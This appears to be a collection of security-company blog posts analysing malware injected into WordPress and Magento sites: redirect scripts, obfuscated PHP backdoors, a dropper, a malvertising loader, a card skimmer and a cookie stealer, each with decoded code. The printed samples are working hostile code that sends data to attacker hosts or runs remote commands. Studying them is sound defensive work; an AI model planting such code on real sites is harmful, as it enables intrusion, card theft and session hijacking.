Undesired Redirects

Whether it is your own or a website you are visiting, undesired redirects and pop-ups are always annoying. The situation gets worse when your visitors start to get infected and your SEO ranking starts to drop.

During an Incident Response Investigation, we identified the following code in the header.php theme file:

< script type="text/javascript">document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%
74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%20%0d%0a%21%66%75%6e%63%74%69%6f%6e%28%29%7b%76%61%72%20%74%3b
%74%72%79%7b%66%6f%72%28%74%3d%30%3b%31%30%3e%74%3b%2b%2b%74%29%68%69%73%74%6f%72%79%2e%70%75%73%68%53%74%61%74%65
%28%7b%7d%2c%22%22%2c%22%22%29%3b%6f%6e%70%6f%70%73%74%61%74%65%3d%66%75%6e%63%74%69%6f%6e%28%74%29%7b%74%2e%73%74
%61%74%65%26%26%6c%6f%63%61%74%69%6f%6e%2e%72%65%70%6c%61%63%65%28%22%68%74%74%70%73%3a%2f%2f%67%6f%6f%2e%67%6c%2f
%75%52%77%74%79%49%22%29%7d%7d%63%61%74%63%68%28%6f%29%7b%7d%7d%28%29%3b%0d%0a%3c%2f%73%63%72%69%70%74%3e'));</script > 

If we decode it for easier viewing, this is the result:

document.write(unescape('<script type="text/javascript"> ! function() {
            var t;
            try {
                for (t = 0; 10 > t; ++t) history.pushState({}, "", "");
                onpopstate = function(t) {
                    t.state && location.replace("hxxps://goo.gl/uRwtyI")
                }
            } catch (o) {}
        }(); </script>'))

The malicious code above manipulates the browser history entries through the use of the pushState method() introduced in HTML5. In addition to that, the attackers emulated a “popstate” event that is dispatched to the browser window every time the active history entry changes. It basically means that if the visitor clicks on “Go back” in their browser (usually a left arrow beside your address bar), they would be redirected to that particular malicious goo.gl URL (hxxp://aliveforfun.com/random/).

These redirects range from leading visitors to rootkit distribution gateways (Exploit Kit), inadvertent ads and pop-ups, execution of unauthorized scripts, and much more. It’s devastating to both the website owner and their visitors and that’s why we recommend having a File Integrity Monitoring system in place to detect such injections in order to reduce its impact.

How Undefined Variables Can Give You RCE

When investigating a compromised website, our team has to make sure that all malware and backdoors are cleared from the environment. In some instances, these backdoors are easier to detect than others, but that's not always the case.

Attackers have been using different techniques to avoid detection with automated scanners, such as abusing of PHP tricks and abusing of spaces. In this article, we'll uncover another simple yet powerful method to execute commands remotely (RCE) while going undetected by regular scanners.

This obfuscation technique consists of adding undefined variables with string concatenation in order to allow RCE via the use of a PHP function called assert(). The code was injected into the WordPress file “./wp-includes/Requests/Exception/HTTP/511.php”. Here is the snippet:

error_reporting(0); $k="a"."".$sdfds."ss"."e".$jieos.""."rt"; $k/*;*/(/*;*/$/*;*/{"_".""."P".$esdwos."O"."S".$wmdir."T"} ['Derrtreuu54ew5']);

Please note that except for $k, all the other variables ($sdfds, $esdwos, ..) were not initialized. This would implicate in the following PHP Notice if it wasn’t for the error_reporting(0); declaration.

[Tue May 30 13:02:48.226182 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP Stack trace:[Tue May 30 13:02:48.226185 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP   1. {main}() /var/www/bd.php:0[Tue May 30 13:02:48.226241 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP Notice:  Undefined variable: esdwos in /var/www/bd.php on line 5

After cleaning up the undefined variables and concatenating the strings (which were there only as a evasion technique), we can clearly see the backdoor:

assert($_POST['Derrtreuu54ew5']);

This snippet allows attackers to execute remote commands on the compromised website by sending a crafted $_POST request through the variable “Derrtreuu54ew5”.

As the malicious code was injected into the core WordPress structure (./wp-includes/…), a File Integrity Monitoring System would be able to quickly report these issues to the website owner and give them the chance in reducing damages to their online presence and SEO. Having regular backups of your files/database is also a great security measure to lessen the impacts of a compromise.

If you want to make sure your website is clean of backdoors that could be the entry point for infections and reinfections, let us know.

The elegant dropper – reusable code for PHP...

During our malware research role, we analyze hundreds (if not thousands) of malware samples every day. Quite often, highly-obfuscated techniques are used by attackers to avoid detection and maintain access to the compromised environment for as long as possible.


One of these techniques is called dropper, which consists of using “good code” (undetectable by scanners), to download and execute another piece of malicious code from an external resource. In this article, we’ll describe how attackers used not only that but also implemented different evasion techniques along the way.

The code begins with a few assignments:

...$shpath = $_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php";$shf = FFGet("hxxp://[INFECTED.DOMAIN]/wp-booter.txt");...file_put_contents($shpath, $shf);

The first variable ($shpath) receives the path where the backdoor will be placed and the second one ($shf) downloads and stores the content of the wp-booter.txt file from a remote server (controlled by the attacker). After that, the backdoor assigned to $shf is written into $shpath through file_put_contents().

Please note the function FFGet() which basically mimics the file_get_contents() and curl_init() as a fail-safe to download the backdoor. Here is a small snippet:

    if(strlen($file_contents)<1&&function_exists('curl_init')){       try       {            $file_contents ="";            $ch = curl_init();            $timeout = 30;            curl_setopt($ch,CURLOPT_URL,$url);            curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);            curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);            curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);            $file_contents = curl_exec( $ch);            curl_close( $ch );

In addition to that, if the content of $file_contents is either unavailable or nonexistent, the dropper will elegantly display a standard “HTTP 503 Apache Error”.

if($file_contents=="503"||$file_contents==""){  ob_start();  header('HTTP/1.1 503 Service Temporarily Unavailable');  header('Status:  503 Service Temporarily Unavailable');  header('Retry-After:1200');  header('X-Powered-By:Apache');  exit();}

If everything works as planned for the attacker, the file $shpath ($_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php"; will contain the backdoor located inside the file wp-booter.txt.

This technique (malware dropper) is often used because although the file wp-admin/admin-menu.php could be easily detected and removed, attackers would still be able to reinsert the backdoor by executing the dropper.

To detect these issues, we highly recommend having a File Integrity Monitoring System in place and clean backups of your files and database. If a compromise happens, you’d be more equipped to restore the website and prevent any damages to your online presence and SEO.

Simple $_COOKIE backdoor (variation)

There are many ways to develop a backdoor and virtually all of them share a similar goal - not to be discovered. To achieve that, some attackers are giving up on using $_POST and $_GET variables, obfuscation techniques, etc, and playing with $_COOKIE’s to execute their code remotely.


The following code is a variation sample from a relatively recent malware wave (https://labs.sucuri.net/?note=2017/03/09 0:00 described by one of our researchers, Yuliyan):

<?php /*VdJR*/if(isset($_COOKIE["uFo"]))/*VO*/{$_COOKIE["JmR"]($_COOKIE["uFo"]);/*noRM*/exit;/*uDV*/}

As you can see, it works very similarly to other backdoors that use $_POST or $_GET variables instead of $_COOKIE. In this code, you simply need to set the “uFo” and “JmR” cookies, where the “JmR” one can be “eval” while “uFo” can be the code that you want to execute.

You can also notice the random comments between the statements as an attempt to avoid detection by simple static signatures used by some anti malware solutions (those comments may vary in their content and position in the code or may not even be present). This type of injection is not limited to a particular file or directory, as during our investigation, we detected several variants scattered throughout the file system.

If your website is getting reinfected very often, there might be a backdoor somewhere and we would love to clean it for you. If you need security experts to look after your website security, let us know.

Tricky malvertising injections

When a website is compromised, one of the most interesting and challenging tasks we perform is identifying all malware to prevent attackers from regaining access to the resource. They may use different type of malicious codes and techniques depending on their final objectives.


In this particular case, during the remediation process the client mentioned that his users were seeing some type of malvertising, but he couldn't replicate the issue. We investigated it further and identified the following :

  • A malicious code was injected into the theme's file :
<?php $_00022b92=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]-&gt;id))    {echo " <script language=JavaScript id=onDate ></script> <script language=JavaScript src=/media/system/js/stat000.php ></script> ";};$_00022b92=1; ?>

- It included another file "stat000.php" :

/**/    <?php
    $dnoxemvhz=chr(97)."x73"."s"."e"."r"."t";    $bckttxtt="b".chr(97)."x73"."e".chr(54)."4"."x5f"."d"."e"."x63"."x6f".chr(100).chr(101);    @$dnoxemvhz(    @$bckttxtt(    'ZXZhbCb2tSMHhQ … long base64 string ...TTlKScpKTs='));    ##########################################################    ?>    /**/    //php_off

- When decoding the file I found that it made a request to:

$url_to="h"."t".chr(116)."x70"."x3a"."x2f"."/"."x70"."x69"."x63".chr(108).chr(105)."x73"."x74".chr(112)."x72"."o"."x74".chr(101).chr(99)."x74"."x2e"."x6e".chr(101)."x74"."/"."i"."x64"."4".chr(46)."x70"."h".chr(112);

Which decodes to &ldquo;hxxp://piclistprotect.net/id4.php”  ( taken offline )

The remote server then responded with this final payload :

function tzSignature() {       var tz;       try {           var currDate = new Date();           var currTime = currDate.toString();           tz = currDate.getTimezoneOffset();           if ( (currTime.indexOf("PDT") > 0) ||                (currTime.indexOf("MDT") > 0) ||                (currTime.indexOf("CDT") > 0) ||                (currTime.indexOf("EDT") > 0) ||                (currTime.indexOf("Daylight") > 0) )               tz += 60;           tz = - tz / 60;       } catch (e) {           tz = "";       }       return tz;    }    function rsSignature() {        var rs;        try {            var rsWidth = screen.width;            var rsHeight = screen.height;            var rs = rsWidth + "x" + rsHeight;        } catch (e) {            rs = "";        }        return rs;    }    var script = document.createElement("script");    script.src="hxxp://profixsysline.net//plix/scaner.php?id=4&tz="+tzSignature()+'&rs='+rsSignature();    document.head.appendChild(script);    //document.write('<sc'+'ript type="text/javascript" src="hxxp://profixsysline.net//plix/scaner.php?id=4&tz='+i+'&rs='+rsSignature()+'"></sc'+'ript>');

- As you can see, it uses two main functions : rsSignature() that returns the screen resolution and tzSignature() that returns the timezone which the page viewer is in. It passes those parameters to the "tz" and "rs" parameters like so : "hxxp://profixsysline.net//plix/scaner.php?id=4&tz=&rs="

Conclusion :

Attackers are constantly trying to be more efficient with their injections in order to only target certain victims. This malicious code serves specific ads to different timezones. We have been remediating lots of these types of injections lately. However, our http://sitecheck.sucuri.net/ scanner detects these types of injections and will warn you if there are any issues on your site.

Client-Side or Server-Side Script?

We’ve already described several times how credit card stealing malware hides a data collecting script behind an image URL. When people see URLs that end with .jpg, .png, or .gif they normally don’t expect them to do anything malicious. Third-party JavaScripts are much more suspicious, still it is possible to use them in a way to coax webmasters into considering them benign.

When checking yet another credit card stealing JavaScript injected into the /js/ccard.js file in Magento, we noticed this line:


e294b002686cad2df01bb59e3e2299f3e:'hxxps://informaer[.]net/js/info_jquery.js',

JS script in a malicious injection is always suspicious to us. Especially when it has the word jquery in it and some unknown domain (with a typo). When we opened that URL, the only content we found there was:

jQuery.noConflict();

NoConflict() is the function that tells jQuery library to restore the original value of the “$”, which allows you to use other JS libraries that use “$” as a function or variable name alongside with jQuery. The code is definitely benign.

But let’s check how this "informaer" URL is used by the script.

...var http=new XMLHttpRequest();http.open('POST',be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true);http.setRequestHeader('Content-type','application/x-www-form-urlencoded');http.send('info='+keym+'&hostname='+domm+'&key='+be20b6410993ea4c7a48767775856514b.myid);

It turns out that the URL is actually not a static JavaScript file. It’s a server-side script that receives data from filled out checkout forms passed in the info parameter of a POST request. It’s actually the collector of the stolen data. However, if you don’t use the POST method and don’t pass correct parameters, it pretends to be a benign JavaScript. It even sets the Content-Type: application/javascript; charset=utf-8 header to make it look plausible.

Hackers may go an extra mile to make their resources look benign, but as a webmaster you should never rely on what code looks like. Instead, verify whether it belongs to your site or not by answering two questions: 1. Did I put it there? If no then 2. Is this code a part of the third-party software I installed? To answer the second question, compare it to the original third-party software (get it either directly from the developer or from your clean backup copy). If answers to both of these questions are NO then no matter how benign the code looks, most likely it was placed there as a result of the site compromise. Integrity control may help you easily identify such unauthorized code injections.

If malware detection and removal still sound too complex for you, Sucuri is here to help.

WordPrssAPI Steals Your Cookies

Cookies are an important part of a visiting session on a website. It is used not only to keep track of actions taken on a specific website by a particular user, but also its login sessions. Having those cookies stolen can easily lead to a compromise of any admin area you visit and allow the attacker to know what you did on that specific website.

These types of attack (Cookie Stealing and Session Hijacking) are not the most common ones due to the complexity involved in the process and because they are usually time sensitive (cookie expiration).

During an incident response investigation, we found a Cookie Stealing malware pretending to be working with one of WordPress’s core domains. Hackers injected an obfuscated (typical eval(function(p,a,c,k,e,d) obfuscation) JavaScript code at the bottom of legitimate .js files such as wp-includes/js/hoverIntent.min.js. Once decoded we see the following:


function adsadsgg() {  var gd = document.cookie.indexOf("_utmzz=");  if (gd == -1 && (/Applebot|baiduspider|Bingbot|Googlebot|ia_archiver|msnbot|Naverbot|seznambot|Slurp|teoma|Yandex|Yeti/i.test(navigator.userAgent) == false)) {     var rd = Math.floor(Math.random() * 2);     if (rd == 0) {          var sss = document.createElement('script');         sss.src = "hxxps://code.wordprssapi[.]com/ajax/json.aspx?c=" + escape(document.cookie);            document.body.appendChild(sss)      }       var dd = new Date();        dd.setTime(dd.getTime() + 86400000);        window.document.cookie = "_utmzz=ga; expires=" + dd.toGMTString() }}if (typeof(jQuery) != 'undefined') {  jQuery(function() {     adsadsgg()  })} else {  window.onload = function() {        adsadsgg()  }}

In the snippet above, we can see that the stolen cookie data is being sent to the fake domain code.wordprssapi[.]com (see the typo?) which is a way to trick people into thinking that it actually sends it an official WordPress domains, which it is not. And by the way code.wordprEssapi.com also has nothing to do with real WordPress. Actually, even if it was an official WordPress domain, sending your cookies to it would be a big red flag! It’s a private information that should not be shared with any third-parties. Like passwords.

The attackers also went the extra mile to ensure that they do not receive any cookie information from crawlers and bots such as Googlebot so that they only receive data that can be immediately used.

As the malicious code was injected into a WordPress core file, a quick integrity check would alert the user about the issue. For more detailed instructions on how to clean a hacked WordPress site check our step-by-step guide.